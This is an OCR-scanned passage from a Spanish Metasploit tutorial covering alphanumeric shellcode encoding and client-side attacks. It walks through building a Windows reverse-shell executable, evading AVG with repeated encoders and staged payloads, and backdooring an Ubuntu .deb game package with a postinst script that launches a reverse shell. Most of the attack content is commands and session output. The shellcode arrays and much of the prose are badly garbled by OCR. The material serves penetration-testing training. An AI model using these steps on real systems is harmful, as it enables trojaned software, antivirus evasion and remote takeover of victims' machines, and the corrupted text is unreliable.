Mx3d\xdc\ x4b\ x4 3\ 31\ k48 \ x50\ x4ch x40 x50\ k444 k51 x34\ k51 k34"
M x51\x4bA\ x5\ x4b\ x4 5\ x31\ k46 \ x394 k51 x4a\ x50 x5 1\ x4b\ x4\ x4b"
M xS0\ x51 k48 \ x5 1\ x4\ k51 \xda \ xdch x4b\ 44\ x52 ®4a\ x4b\ x4b\ 36"
M5 xdd\ 43\ K58\ x50\ k33 K50V K32\ x43\ k30 K43\ ¥30 \ 42\ R48 \ x43"
Mg Th x4 3\ R4\ K50\ k32 \ 51\ x4\ x50\ x54 \ R43\ R58 \ k50 \ xdc\ R43\ x4T"
"5l x36\ X4\ KIT\x4b\ x4\ xde X35\ x4e\ X58\ Xx4a k30 \ x43\ R31\x45"
"\ k50N x4\ 50N K51\ k39 \ x4\ k54 x50\ x54 \ X464\ K30\ k43 \ k58 \ 46\ k49"
"\ xab\x30\x42\X4b\ x4 5\ x50\ x4b\ x4 £\ x4e\R35\ X504 x50\ x50 R50 850"
"\ x50\ x4E\X30NK51\ x50\ x46 \ X304 X511\ x50\ 8464 K30 x43 \ x58 \ R4a\x4a"
"Mgxdd\ x4 P\ x4 M x4\ x4d\ k30 x4b Vx4 £\ x4 8\ RE5\ R4d N k4 T\ x50 R31\ k49"
M xdb\x51\ k43 \ 45\ k38 \ k43 \ k32 \ x45 x50 44\ x51 x5 1\ xdch x4d\ k53"
Mxdd\x36\ k42 \ x4a \ k44 \ x50\ x50\ X564 x5 1\ x4 T\ k42 k4B \ 4B\ k42 k49"
M x4b\ 4B\ RETAREI\ 5T\ x4b \ x4 F\ x48 Y X555 1\ x43 4 R50\ 5T\ x454R38"
M4 BN x3T\H4b\ K59\ k46 \ k5B \ K4\ w4 £\ b\ x4\ R4\ K35\ H50\ 53\ n4E"
"33\ x50\ X5TARE5\ k38 \ x4\ x44 \xda \ x4c\ 4T\ x4b\x4b\ x51\ R4b\ R4E"
"\ g9\ x4\ 51N KA T\ x4\ 5T\ X434 k58 \ k44 \ X35\ k42 \xde \ x50\ x4d\ k43"
"5l kb \ x4f\x4e\ x35\x42 \ x4a k43 \ x30\ x42 \ k22 \ k45 \ k54 \ RS0 R56"
"NR51NX4 T\ K43\ K58\ k45 \x52\ x48 Y X59\ x49\ 858\ R51\ x4 £\ x4b\ R4\ R4e"
"R35S\ x4\ X4b\K4T \ k46 \x42 \ X242\ x51\ x50\ 8434 K58\ ¥45 \ x50\ R42 k30"
M43\ k30 X4\ KE0 \ k46 \ 36\ X434 x5a \ x45\ 50\ X454 k38 \ k46 \ R3IB\ k4"
Mx3A\ k46 \ k3T \xda \ k45 \x4b\ x4 F\ x40 x 45 x4d \ x93 k46 x33\ k42 \ x4a"
LAV CEAN LD LD LAV SO SRRV DAY AV EEAV EEAV EEAV E AV SRR SR S
M5B x5\ K4\ ndb \ x4 £\ xde\ K35\ H43 \ w31\ k48 \ K43\ w4 T\ x5\ 49\ x56"
Mixdd\ k55 \ 4o\ X386\ k43 \ 45\ xda\wdc\ x4\ k53 \ k44 \wda \ nd 1\ R4l

Si vemos mas en detalle el codigo shell generamtirapver que hay algunos caracteres no alfanunserico

>>> print shellcode

2?22t$27VYIIIIICCCCCCC7QZJAXPOAOAKAAQ2AB2BBOBBAB XP8ABUJIKLCZIKPMKXKIKOKOKOEOLKBLQ4Q4LKQUGLLKCLC5QBELKPOBELKQOGPC1
JKPILKGDLKC1JINP1IPLYNLK4IPD4EWIQHIDMC1IRIKKDGKPTQXEEKULKQOFDC1IKEGLKDLPKLKQOELEQJKDCFLLKMYBLFDELEIKE4LKG3POLKGOD
LLKBPELNMLKGOC8QNBHLNPNDNJLFOKOHVBFPSCVE8P3GBBHIB®SF4KOHPESHKIMKLGKPPKON6QOKIM5CVMQIMEXC2QEBIERKOHKENMQGKON6
QCQCF3PSF3G3PSPCQCKOHPBFCXB1QLE6QCMYM1I5BHNDDZRANEZDPPQQEKONOESNDNMFNJIIPWKOHVQCF5KONOBHIEGBEZRQNFFOPTF4QEKOH
PJ3E8JGCIHFBYF7KON6PUKOHPBFCZE4E6ES8BCBMKIMS5BIFOPNIQAY KWBJIGAMYM2FQIPL3NJKNQRFMKNPBFLI3LMCIGHNKNKRKENSDVKOCEQTKOHV
QKQGPRF1PQF1CZEQPQPQPUF1KOHPESNMNIDEHNF3KOIFCZKOKIKOHPLKQGKLLCITE4AKOHVF2KOHPCXJPMZDDQOF3KOHVKOHPDJAA

Esto se debe a los codigos de operacion ("\x8&eXdb\xd9\x72") al principio del payload el csal usa para encontrar la
localizacion obsoluta en memoria y obtener unagisindependiente del codigo shell:

Imagen perdida en offensive-security.com

Una vez que la direccion del codigo shell obtiersedos primeras instrucciones, es insertada dafalg plimacenada en el registro
ECX que luego seran utilizadas para calcular laspemsaciones relativas.



Sin embargo, si somos capaces de alguna manet#eatenla posicion absoluta del codigo shell pastna cuenta y guardar la
direccion en un registro antes de ejecutar el gosligell, podemos usar la opcion especial BufferfRegiREG32 durante la
codificacion de nuestro payload:

root@bt4:/pentest/exploits/framework3f ./msfpayload windows/shell/bind tcp R | ./msfencode BufferRegister=ECX -e x86/alpha mixed
[*] x86/alpha mixed succeeded with size 651 (iteration=l)

unsigned char buf[] =

T R49\ 49\ K49\ K49\ x4\ x40\ x40\ x40\ X429\ x4\ x40\ x4 9\ k49 \ x4 9\ x43"
x40\ x4\ XIT\x51\x5a\x6a\®4I\ 5B\ x50\ 30\ 41\ x30\ 241\ x6b\ k41"
41N RE1NKIZ\WKEA1\x42\ X322\ k42 \ ®42\ X330\ x42 \x42\ x41\ ®42\ X588\ x50"
M R38\x41\R42\XT5\x4a \ x40\ x4b\x4c\ x4d\x38\ x4c\ x4 9\ 43\ x30\ x43"
M RI0NK4S\RE0\ K5\ X300\ ®4c A\ x4 9\ 4L\ K55\ x50\ x31\ k48 \®52\ x43 \x54"
™ x4ch\x4b\R51\x42\ x50\ X330\ x4c\ 4L\ x50 \x52 \ x 44\ x4c\®x4c\x4b\x50"
" x524X45\ X449\ x4c\ X4bA K44\ X3 2\ x46\ x48 \ X494\ x4\ X488\ 3T\ x50\ x4a"
M R46\K4E\RE0\KI1\x4b\ R4\ k46 \®RE1\ X429\ x50\ x4e\xd4c\ xR4T\ x4c\x43"
51N K43\ x4ch xE5A K52\ K46\ xAch x4 TN XS0\ x4\ k51 \ x4\ x4 F\ x4 4\ xad"
M R43\KI1NRAI\KS T\ x4b\ X522\ x4a \®E0\ K51\ x42\ x51 \ x4 7\ ®x4c \ x4b\x51"
My x42N\ x42\ k304 x4\ 4D\ RS0\ x4 2\ x4 T\ x4\ x43\ x31\ x48\ x50\ x4\ x4b"
M RE1INKE0\R42\ K58 \x4b\ X35\ x4 9 \®50\x43 \x44 \ x50\ x4a\ k43 \ x31\ x48"
" RE0NR50\RE0\X4c\x4b\R51\x58\ X455\ x48 \x4c\x4b\ x50\ ®R58\ x4 T \x50"
M R43\x3I1\R49\x43 \x4a\®43 \ x4 T\ ®4c\ x50 \x49\x4c\x4b\®50\ k34 \x4c"
™y x4bA\ 43\ K31\ x4e\x36\ K50 \x31\x4b\ x4\ x46\ x51 \ x4 9\ 50\ xde\xdc"
M x49\x51\R48\ x4\ x44\ ®4d \ x4 5 \®RE1\ K49\ x5 T\ x4 T\ k48 \ x4b\ x50\ x43"
" R45\x4c X34\ X423\ x33\ x43 \ x4d \®x4c\x38 \ x4 T\ x4b\ x43\ x4d\ x46 \ x44"
Thx42N K55\ K42\ X422\ K46\ X3 8\ X4\ X4b A\ x50\ X5B\ X4 TA X594\ x45\ k51 \ k49"
™ x43\x42\x46 \x4c\x4b\x44\x4c\X50\x4b\x4c\x4b\x51\®x48\ x45\x4c"
"y x45\X51\R4e\x33\R4c\ x4b\ R4 4\ X244\ x4c\R4b\ 43\ X311\ ®4e\x30\x4b"
MRIONKE1NKEA\KATA X594\ ®4T\ k54 \®51\x4b\x51\ x4b\ x45 \ 831\ k51 \x43"
™51\ x4a\x46\x31\x4b\ x4\ x4b\RE0\ x50 \x58\ x 51\ x4\ x50\ x5a\x4c"
™ x4b\x45\x42\x4a\x4b\x4b\x36\®51\x4d \x45\ X358 \ x4 T\ x93\ x4 T\ x42"
"y x45N x50\ K43\ k30 \x43\ K58\ k43 \ x4 T\ x 43\ x43\ x4 T\ x42\ 51\ x4 £\ x50"
M RE4\K43\REE\K50 \x4c\ 44\ X3 T\ 46\ K46 \x45\ X5 T\ x4b\ x4\ xde\x35"
™ x48\xIB\R4C\ K50\ x93\ X331\ x4 5\ 50\ x45 \ x50\ x51\ x39\ k48 \ k44 \x50"
TAK54N KA\ RI0NKIS\KIB\ K6\ X2\ X4b\ X330\ X492\ X4b\ X455\ K50\ x4\ R4E"
" R49\ K45 \RE0\ K50\ x50\ R50\ x50\ 50\ X446 \x30\ X551\ x50\ ®RE0\ K50 \x4T"
"y x30\xX46\XI0\x43\REB \x4a\®4a\ X244\ x4 F\ R4\ R4 F\ R4d\ K30\ x4b\R4E"
™ x4el\x3I5\R4a\K3TA\x50 K31\ x4 9\ 4L\ x50\ x53\ ®x 45\ x38\ ®43\ k32 \ x43"
M R30AK44\RE1INKS51\x4c\ ®x4d\ x50\ R4b\ K56\ x42 \ x4a\ k42 \ 30\ k51 \x46"
MREOANKRETARE3\K58 \x48\ ®42\ x4 9\ 4L\ K50 \x3 T\ x43 \x57 \ x4k \ x4 £\ x43"
M REEARE0NREI\NKS0A XS TARA5\x3B \ x4\ x5 T \x4d\x39\ x4 7\ 48\ x4b\x4£f"
x4\ x4F\ K48\ K55\ 51\ k43 \ k46 \ X33\ X468 \x3T\ x45\x38\ 42\ x54 \x4a"
™y x4ch\x4T\R4b\X4bA\x51\X4b\ x4\ x4\ X35 \ x50\ X5 T\ x4c\RET\ k42 \ x48"
TAHGZN K55\ K42\ X2\ X500\ x4d\ X4 5\ X3 1\ x4b\ X4 F\ X949\ X495\ X492\ x2a\ X43"
" R30\x42\ X422\ K45 \x54\ RS0\ X5\ RE0O\ K5 T\ x43\ k58 \ k44 \ 42\ xde\x33"
" x4B8\R4B\RE1 N4\ RIb\ R4\ R4\ X35\ x4\ 4D\ R4E\RE 6\ 42\ xda \RAT"
M R30\K42\ K48\ K45\ x50\ ®x 44\ x50\ ®x43\x30 \x43\x30 \ x50\ ®56\ x43 \x5a"
" x43\x30\x43\x58\®46\ 38\ x4e\ X244\ x50\ ®53\ x4d\ X35\ x4b\ x4\ x48"
M REEAK4a\RIZ\ K46\ X33\ k43 \x5a \ 43\ X330 \ x50\ k56 \x51\ 43\ K51\ x4T"
M R42\ 48\ K43\ X322\ x4e\ X309\ x48 \ 48\ x51 \ x4\ x4b\ x4\ x4e\ X35\ x43"
MR31NR4B\R43\ K51\ x39\ x40\ k56 \X4c\ X445 \x4a\ k56 \x43\ 45 \xda\x4c"
"\ x49h\x53\x45 \x5a\x41\x41";

Esta vez hemos obtenido un codigo shell alfanumerico puro:

>>> print shellcode

HIHHHNN7QZjAXPOAOAKAAQ2AB2BBOBBABXP8ABUJI KLBJIKPMM8KIKOKOKOEOLKBLFDFDLKPEGLLKCLC5D8C1JOLKROE)OGPEQJIKPILKGD
LKEQJNFQIPMINLLDIPCDC7IQHIDMC1HBJIKJITGKFAGTFHBUJELBGTC1JIKCVLKDLPKLKQOELEQJKESFLLKLIBLFDELE1IHCP1IKE4EBFPLKGODLLKBPELN
MLKGODHQNESLNPNDNJLPPKOHVE6QCE6CXP3FRESCGCCP2QMEMKIMKLGKFOKOHVQOMYMS5E6K1IMEXC2PUBJDBKONOCNGEZRWKONG6QCF3F3F3
PSG3PSPCQCKOHPBFE8S8DQQLBFPSMYKQMECXNDDZBPIWQGHKORPBEEHPBHNDNMFNKYPWKON6QCF5KOHPCXKUGIKEQY QGREAQMEIONOMCCXKWD
9HFBYQGKOIFQEKONOBFCZBDE6CXCSBMMYJECZFOFIFIHLKIRWKIIBFQIPKCNIKNQRFMKNG2FLMCLMBZFXNKNKNKCXCBKNBBBOKKONGQKF7QBF1
PQF1BJC1F1F1PUPQKONOCXNMIIDEHNQCKOHVBJIKOKOGGKOHALKHTBDKONEQBKOHPESLOMZETQOQCKOHVKOHPEZAA

En este caso, le dijimos a msfencode que nos oagpdmencontrar la direccion absoluta del codigdl gHa hemos guardado
en el registro ECX:

Imagen perdida en offensive-security.com

Como puede ver en la imagen anterior, ECX se fablkesido previamente para sefialar el comiezo abyjocshell. En este
punto, el payload comienza directamente a realiB€2¢ al empezar la secuencia del codigo shell.

8 Client-Side Exploits

Client-Side Exploits

Los client-side exploits siempre son un tema digery un frente importante para los atacantes ogia. Dado que los
administradores de red y desarrolladores de sddtfeatalecen el perimetro, los pentesters necesitaantrar una forma en que



las victimas abran una puerta para colarse erdslLos client-side exploits necesitan interaccion el usuario como por
ejemplo incitarle a hacer click en un enlace, almidocumento o hacer que de alguna manera emtrem gagina maliciosa.

Existen diversas maneras de usar Metasploit palizaeataques en el lado del cliente y demostraseaifgunas de ellas aqui.

8.1 Payload binario

Payload binario

Mestaploit esta lleno de caracteristicas interesaytitiles. Una de ellas es la habilidad parargemgecutables de un payload
desde Metasploit. Esto puede ser muy Util en sitnas tales como ingenieria social, si puedes fpeeun usuario ejecute tu
payload por ti, entonces no hay ninguna razén pasar por un problema de explotacién de software.

Veamos un rapido ejemplo de como hacerlo. Vamaaaun payload de shell inverso, ejecutado ensiersa remoto para
obtener nuestra shell. Para hacer esto de formeotay usamos la herramienta de linea de comansipayioad. Este comando
es usado para generar payloads para ser utilizadosichas situaciones y ofreciendo una variedagpdenes de salida, desde
perl pasando por C hasta el cédigo fuente sin @epHstamos interesados en la salida del ejecuigildees proporcionado por el
comando X.

Generaremos un ejecutable de Windows de shellsavguie se conecte de nuevo a nosotros a travpeetéd 31337. Observe
gue msfpayload funciona del mismo modo que msictiende puede afiadir la letra "O" al final de ldere@ de comando para
ver que opciones estan disponibles.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp O

Name: Windows Command Shell, Reverse TCP Inline
Version: 6479

Platform: Windows

Arch: x86

Needs Admin: No

Total size: 287

Provided by:
vlad902 vlad902@gmail.com

Basic options:

Name Current Setting Required Description

EXITFUNC seh yes Exit technique: seh, thread, proce ss
LHOST yes The local address

LPORT 4444 yes The local port

Description:
Connect back to attacker and spawn a command shell

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPO RT=31337 0

Name: Windows Command Shell, Reverse TCP Inline
Version: 6479

Platform: Windows

Arch: x86

Needs Admin: No

Total size: 287

Provided by:
vlad902 vlad902@gmail.com

Basic options:

Name Current Setting Required Description

EXITFUNC seh yes Exit technique: seh, thread, proce ss
LHOST 172.16.104.130 yes The local address

LPORT 31337 yes The local port

Description:
Connect back to attacker and spawn a command shell

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPO RT=31337 X > /tmp/1.exe

Created by msfpayload ( http://www.metasploit.com ).
Payload: windows/shell_reverse_tcp

Length: 287

Options: LHOST=172.16.104.130,LPORT=31337

root@bt:/pentest/exploits/framework3# file /tmp/1.e xe

/tmp/1.exe: MS-DOS executable PE for MS Windows (GU 1) Intel 80386 32-bit

Ok, vemos que tenemos listo el ejecutable de Wisd@&lora, vamos a usar "multi/handler” que es un
manejador que se encarga de lanzar fuera del frarkelvexploit.

root@bt4:/pentest/exploits/framework3# ./msfconsole




B HitH HH H

B HHHH AHHHAE R R A S #RRE R
BRI HH HH HA B B B HE A R R
BHAGHHH HHAAHHT ##7 AR 0505 4 3 30 #8713 38
B # H#H B B R BB

B HH HHHH HHH R S B B A R A
##

=[ metasploit v3.3-rcl [core:3.3 api:1.0]
+ -- --=[ 371 exploits - 234 payloads

+ -- --=[ 20 encoders - 7 nops

=[ 149 aux

msf > use exploit/multi/handler
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description

Exploit target:

Id Name

0 Wildcard Target

Cuando utilizamos el modulo "exploit/multi/handler", todavia necesitamos decirle cual payload usar, asi que lo configuramos
con la misma configuracion que el ejecutable que generamos.

msf exploit(handler) > set payload windows/shell/re verse_tcp
payload => windows/shell/reverse_tcp
msf exploit(handler) > show options

Module options:

Name Current Setting Required Description

Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
EXITFUNC thread yes Exit technique: seh, thread, pr ocess
LHOST yes The local address

LPORT 4444 yes The local port

Exploit target:

0 Wildcard Target

msf exploit(handler) > set LHOST 172.16.104.130
LHOST =>172.16.104.130

msf exploit(handler) > set LPORT 31337

LPORT => 31337

msf exploit(handler) >




Ahora que tenemos todo configurado y listo paria, ssamos "exploit” en el multi’/handler y ejecutaamuestro ejecutable
generado en la victima. El multi/handler se encalejaxploit por nosotros y nos muestra la shell.

msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

[*] Sending stage (474 bytes)

[*] Command shell session 2 opened (172.16.104.130: 31337 ->172.16.104.128:1150)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents>

8.2 Antivirus Bypass

Antivirus Bypass

Como hemos visto, el binario del payloads de Médétsipinciona bien. Sin embargo, hay una pequeffapticacion.

La mayoria de los sistemas basados en Windowstajeelguna proteccion anti-virus, debido a los a¢acgeneralizados de
software maliciosos a esta plataforma. Hagamostmuegmplo un poco mas realista, he instalemesgilgsion gratuita de AVG
en el sistema y veamos que sucede.

K Resident Shield alert

Accessed file is infected

| Threat detected!

_ﬂ File name: C:ADocuments and SettingzbJimbp Documentz 1 exe

Threat name:  iruz identified Dropper. b drop. M
Detected on open.
More information about thiz threat ..

[T Remove threat as Power User
Show detailz

| Move to Wault | | |gnore

Inmediatamente, se detecta nuestro payload. Vamess hay algo que podamos hacer para evitasgaeetectado por AVG.

Vamos a codificar nuestro ejecutable en un intedetbacerlo mas dificil de ser descubierto. Hemibgarnos la codificacion
antes cuando explotamos software evitando caraa@afados, veamos si podemos usarlo aqui. Usaedmposgrama de linea
de comando msfencode. Veamos alguna de las op@fgmgando msfencode con el parametro "-h".

root@bt4:/pentest/exploits/framework3# ./msfencode -h
Usage: ./msfencode

OPTIONS:




-a The architecture to encode as

-b The list of characters to avoid: 'xOO0xff'

-¢ The number of times to encode the data

-e The encoder to use

-h Help banner

-i Encode the contents of the supplied file path
-| List available encoders

-m Specifies an additional module search path
-n Dump encoder information

-0 The output file

-s The maximum size of the encoded data

-t The format to display the encoded buffer with (r

aw, ruby, perl, c, exe, vba)

Veamos que codificadores estan disponibles ejedatamsfencode -I".

root@bt4:/pentest/exploits/framework3# ./msfencode

Framework Encoders

Name Rank Description

cmd/generic_sh normal Generic Shell Variable Substi
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder

mipsle/longxor normal XOR Encoder

php/base64 normal PHP Base64 encoder

ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase E
x86/alpha_upper low Alpha2 Alphanumeric Uppercase E
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Enco
x86/fnstenv_mov normal Variable-length Fnstenv/mov
x86/jmp_call_additive great Polymorphic Jump/Call X
x86/nonalpha low Non-Alpha Encoder

x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additi
x86/unicode_mixed manual Alpha2 Alphanumeric Unicod
x86/unicode_upper manual Alpha2 Alphanumeric Unicod

tution Command Encoder

ncoder
ncoder

der
Dword XOR Encoder
OR Additive Feedback Encoder

ve Feedback Encoder
e Mixedcase Encoder
e Uppercase Encoder

Excelente. Podemos ver las opciones y algunosicaddres que le podemos dar uso. Vamos a usdida san depurar del
msfpayload y lo pasamos como entrada a msfencaaelas'shikata ga nai encoder” (traducido como 'inede ser ayudado” o
"nada se puede hacer"). Desde ahi, saldra el bidarivindows.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPO RT=31337 R | ./msfencode -e x86/shikata_ga_nai -t e xe > [tmp/2.exe

[*] x86/shikata_ga_nai succeeded with size 315 (ite ration=1)

root@bt:/pentest/exploits/framework3# file /tmp/2.e xe

/tmp/2.exe: MS-DOS executable PE for MS Windows (GU 1) Intel 80386 32-bit




Perfecto! Ahora transferimos el binario al otro sistema y vemos que pasa. Y...

Resultz overview | Infections

File I |rfection I R ezl I
@ CADocuments and SetiingssJimsMy Documents\2exe Wiz identified Dropper.Mdrop. M |nfected

Eso no es bueno. Todavia sigue siendo detectadd\f®r Bueno, no podemos dejar que gane AVG, verdé&dfios a ponernos
un poco loco, y usar tres diferentes codificadates,de los cuales le diremos que sea ejecutadecH$ cada uno, para un total
de 21 codificaciones. Esto es toda la codificacjo@ podemos hacer y seguir teniendo en funcionaméioinario . AVG no
podra con esto!

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130
LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai - traw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -
¢ 10 | ./msfencode -e x86/countdown -t exe > /tmp/6 .exe

[*¥] x86/shikata_ga_nai succeeded with size 315 (ite ration=1)

[*¥] x86/shikata_ga_nai succeeded with size 342 (ite ration=2)

[*¥] x86/shikata_ga_nai succeeded with size 369 (ite ration=3)

[*¥] x86/shikata_ga_nai succeeded with size 396 (ite ration=4)

[*¥] x86/shikata_ga_nai succeeded with size 423 (ite ration=5)

[*¥] x86/shikata_ga_nai succeeded with size 450 (ite ration=6)

[*¥] x86/shikata_ga_nai succeeded with size 477 (ite ration=7)

[*¥] x86/shikata_ga_nai succeeded with size 504 (ite ration=8)

[*¥] x86/shikata_ga_nai succeeded with size 531 (ite ration=9)

[*¥] x86/shikata_ga_nai succeeded with size 558 (ite ration=10)

[*¥] x86/call4_dword_xor succeeded with size 586 (it eration=1)

[*¥] x86/call4_dword_xor succeeded with size 614 (it eration=2)

[*¥] x86/call4_dword_xor succeeded with size 642 (it eration=3)

[*] x86/call4_dword_xor succeeded with size 670 (it eration=4)

[*¥] x86/call4_dword_xor succeeded with size 698 (it eration=5)

[*¥] x86/call4_dword_xor succeeded with size 726 (it eration=6)

[*¥] x86/call4_dword_xor succeeded with size 754 (it eration=7)

[*¥] x86/call4_dword_xor succeeded with size 782 (it eration=8)

[*¥] x86/call4_dword_xor succeeded with size 810 (it eration=9)

[*] x86/call4_dword_xor succeeded with size 838 (it eration=10)

[*¥] x86/countdown succeeded with size 856 (iteratio n=1)
root@bt4:/pentest/exploits/framework3# file /tmp/6. exe

/tmp/6.exe: MS-DOS executable PE for MS Windows (GU 1) Intel 80386 32-bit

Ok, copiamos el binario, lo ejecutamos yyyyy....



E” Resident Shield alert

Accessed file 15 infected

Threat detected!

File name: C:ADocuments and SettingzbJimte Docurments'B exe

Threat name: “iruz identified Dropper. kM drop. M
Detected on open.
More information about thiz threat .

[T Remove threat s Power User

| Move ta W ault | | |gnore

Shiona details

Fracasamos! Sigue siendo detectado por AVG! Comwsaa pasar esto? Bueno, resulta que hay una bamsrapara eso.
Metasploit soporta dos tipos diferentes de paylogbprimero, como "windows/shell_reverse_tcp" oeme¢ todo el codigo
necesario por el payload. El otro, como "windowsligteverse tcp" funciona un poco diferente. "windéshell/reverse_tcp"
contiene solo el codigo suficiente para abrir umaegion de red, entonces el stage carga el restodigo requerido por el
exploit desde la maquina de los atacantes. Erselda "windows/shell/reverse_tcp", hace una comed@vuelta hacia el
sistema atacante, el resto del payload es cargad@moria, y luego se nos abre un interprete shell.

Entonces, que significa esto para los antivirus@rBula mayoria de los antivirus funcionan con tetaologia a base de firmas.
El codigo utilizado por "windows/shell_reverse_teg'compara con esas firmas y es marcado por AM@naediato. Por otra
parte, el staged payload, "windows/shell/revergg no contiene la firma que busca AVG, y por essgosin darse cuenta.
Ademas, al contener menos codigo, el anti-virutetimenos con que trabajar, y si la firma es demdaaenerica, habran muchos
falsos positivos y frustaran a los usuarios cuaaadiven un software no malicioso.

Con eso en mente, vamos a generar un staged pawoatbws/shell/reverse_tcp" como ejecutable.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/reverse_tcp
LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe

Created by msfpayload ( http://www.metasploit.com ).

Payload: windows/shell/reverse_tcp

Length: 278

Options: LHOST=172.16.104.130,LPORT=31337

root@bt4:/pentest/exploits/framework3# file tmp/7. exe
Itmp/7.exe: MS-DOS executable PE for MS Windows (GU ) Intel 80386 32-hit

Ok, ahora lo copiamos en el sistema remoto y lo ejecutamos, para ver que sucede.

root@bt4:/pentest/exploits/framework3# ./msfcli exp loit/multi/handler PAYLOAD=windows/shell/reverse_tc p
LHOST=172.16.104.130 LPORT=31337 E

[*¥] Please wait while we load the module tree...

[*] Handler binding to LHOST 0.0.0.0

[*¥] Started reverse handler

[*] Starting the payload handler...

[*¥] Sending stage (474 bytes)

[*] Command shell session 1 opened (172.16.104.130: 31337 ->172.16.104.128:1548)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents>dir
dir
Volume in drive C has no label.




Volume Serial Number is E423-E726

Directory of C:\Documents and Settings\Jim\My Docum ents
05/27/2009 09:56 PM

65/27/2009 09:56 PM

05/25/2009 09:36 PM 9,728 7.exe
05/25/2009 11:46 PM

Downloads

10/29/2008 05:55 PM

My Music

10/29/2008 05:55 PM

My Pictures

1 File(s) 9,728 bytes

5 Dir(s) 38,655,614,976 bytes free

C:\Documents and Settings\Jim\My Documents>

Exito! el Antivirus no se activo con este nuevasth payload. Hemos logrado evadir el antivirussgstéma, y ejecutado el
payload.

8.3 Troyanos Binarios para Linux

Troyanos Binarios para Linux

A fin de demostrar que los ataques client sid@yanos no son exclusivos en el mundo de Windowsaigara un paquete en el
payload de Metasploit con un paquete .deb de Ulpania que nos de una shell en Linux.

Un excelente video fue hecho por Redmeat_uk dearahiresta tecnica que puedes vehntgm//securitytube.net/Ubuntu-
Package-Backdoor-using-a-Metasploit-Payload-vidgaxa

Primero tenemos que descargar el paquete que \aimtectar y mover a un directorio temporal deajabEn nuestro ejemplo,
vamos a utilizar el paquete "freesweep”, una vardmtexto del Buscaminas.

root@bt4:/pentest/exploits/framework3# apt-get --do wnload-only install freesweep
Reading package lists... Done

Building dependency tree

Reading state information... Done

...snip...

root@bt4:/pentest/exploits/framework3# mkdir /tmp/e vil
root@bt4:/pentest/exploits/framework3# mv /var/cach elapt/archives/freesweep_0.90-1_i386.deb /tmp/evil
root@bt4:/pentest/exploits/framework3# cd /tmp/evil /

root@bt4:/tmp/evil#

A continuacion, extraemos el paquete a un directorio de trabajo y creamos en directorio DEBIAN para agregar las
"caracteristicas" adicionales.

root@v-bt4-pre:/tmp/evil# dpkg -x freesweep_0.90-1_ i386.deb work
root@v-bt4-pre:/tmp/evil# mkdir work/DEBIAN

En el directorio "DEBIAN", cree un archivo llamatmontrol” que contendra lo siguiente:

root@bt4:/tmp/evil/work/DEBIAN# cat control
Package: freesweep




Version: 0.90-1

Section: Games and Amusement
Priority: optional

Architecture: i386

Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lis ts.ubuntu.com)
Description: a text-based minesweeper

Freesweep is an implementation of the popular mines weeper game, where
one tries to find all the mines without igniting an y, based on hints given
by the computer. Unlike most implementations of thi s game, Freesweep
works in any visual text display - in Linux console , in an xterm, and in

most text-based terminals currently in use.

Tambien tenemos que crear script de post-instalagpie ejecutara nuestro binario. En "DEBIAN", crearan archivo llamado
"postinst”" que contiene lo siguiebite

root@bt4:/tmp/evil/work/DEBIAN# cat postinst
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr /games/freesweep_scores &
/usr/games/freesweep &

Ahora vamos a crear nuestro payload malicioso.@osauna shell inversa para que se conecte de rrueesotros llamada
"freesweep_scores".

root@bt4:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LP ORT=443 X >
Jtmpl/evil/work/usr/games/freesweep_scores

Created by msfpayload ( http://www.metasploit.com ).

Payload: linux/x86/shell/reverse_tcp

Length: 50

Options: LHOST=192.168.1.101,LPORT=443

Ahora hacemos ejecutable el script de post-instalacconstruimos un nuevo paquete. El archivoatestuccion sera llamado
"work.deb", lo cambiamos a "freesweep.deb" y copisiel paquete a la raiz del directorio web.

root@bt4:/tmp/evil/work/DEBIAN# chmod 755 postinst
root@bt4:/tmp/evil/work/DEBIAN# dpkg-deb --build /t mp/evil/work
dpkg-deb: building package “freesweep' in “/tmp/evi I/work.deb'.
root@bt4:/tmp/evil# mv work.deb freesweep.deb

root@bt4:/tmp/evil# cp freesweep.deb /variwww/

Si no se esta ejecutando, tendremos que inicsgreidor web Apache.

root@bt4:/tmp/evil# /etc/init.d/apache2 start

Tendremos que configurar en Metasploit el multilanpara que reciba las conexiones entrantes.

root@bt4:/pentest/exploits/framework3# ./msfcli exp loit/multi/handler PAYLOAD=linux/x86/shell/reverse_ tcp LHOST=192.168.1.101 LPORT=443 E




[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0

[*] Started reverse handler

[*] Starting the payload handler...

A nuestra victima de Ubuntu, tendremos de alguna manera convencerla para que descargue e instala nuestro
fantastico y nuevo juego.

ubuntu@ubuntu:~$ wget http://192.168.1.101/freesweep.deb

ubuntu@ubuntu:~$ sudo dpkg -i freesweep.deb

